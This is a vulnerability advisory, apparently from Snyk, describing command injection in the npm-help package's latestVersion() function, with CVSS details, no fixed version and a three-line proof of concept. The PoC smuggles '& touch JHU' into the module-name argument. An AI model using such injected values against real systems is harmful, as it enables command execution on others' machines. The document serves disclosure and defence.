Command Injection Affecting npm-help package, versions *


0.0
critical
0
10

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.23% (62nd percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-NPMHELP-1050983
  • published 26 Jan 2021
  • disclosed 26 Jan 2021
  • credit JHU System Security Lab

How to fix?

There is no fixed version for npm-help.

Overview

Affected versions of this package are vulnerable to Command Injection. The injection point is located in line 13 in index.js file in export.latestVersion() function.

PoC:

var root = require("npm-help");
var module = "& touch JHU";
root.latestVersion(module);